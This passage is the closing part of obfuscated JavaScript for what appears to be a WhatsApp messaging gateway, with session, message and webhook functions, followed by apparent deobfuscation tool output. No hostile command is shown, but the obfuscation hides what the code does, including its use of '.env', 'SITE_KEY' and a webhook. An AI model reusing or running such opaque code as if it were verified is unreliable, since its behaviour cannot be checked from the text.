    const _0x388e8c = ['loggedOut', 'remote_id', 'reject', 'log', 'default', 'substring', 'endsWith', 'session_id', '8499344ooYKPA', 'chats.set', 'notify', 'insertIfAbsent', '896286kzMXXo', '_store.json', 'bind', 'env', 'then', 'listMessage', 'error', 'Unable\x20to\x20create\x20QR\x20code.', 'headersSent', 'has', 'split', 'creds.update', 'message', 'APP_URL', 'onWhatsApp', 'close', '613035CxrlJW', 'message_id', 'writeToFile', 'chats', 'sessions', '@g.us', 'isLegacy', 'get', 'Unable\x20to\x20create\x20session.', 'catch', 'output', 'logout', 'isauthorised', 'messages.upsert', '/api/send-webhook/', '3472QRWXsa', 'replace', 'data', 'forEach', 'open', 'store', 'join', 'sendMessage', 'ubuntu', 'md_', '.env', '368451uGLhxm', 'post', 'set', 'readFromFile', '.json', '758678utrjln', 'delete', 'status', 'fromMe', 'key', 'MAX_RETRIES', 'restartRequired', 'startsWith', 'writeFileSync', 'Running\x20cleanup\x20before\x20exit.', 's.whatsapp.net', 'legacy_', 'filter', '2217cWtAjt', '@s.whatsapp.net', 'buttonsMessage', 'remoteJid', 'SITE_KEY', '2216823BJibyC'];
    _0x9e8b = function() {
        return _0x388e8c;
    };
    return _0x9e8b();
}
export {
    isSessionExists,
    createSession,
    getSession,
    deleteSession,
    getChatList,
    isExists,
    sendMessage,
    formatPhone,
    formatGroup,
    cleanup,
    init
};

Function Calls

None

Variables

None

Stats

MD5 6d0644fe91d1bac588e86d10fdf806b9
Eval Count 0
Decode Time 117 ms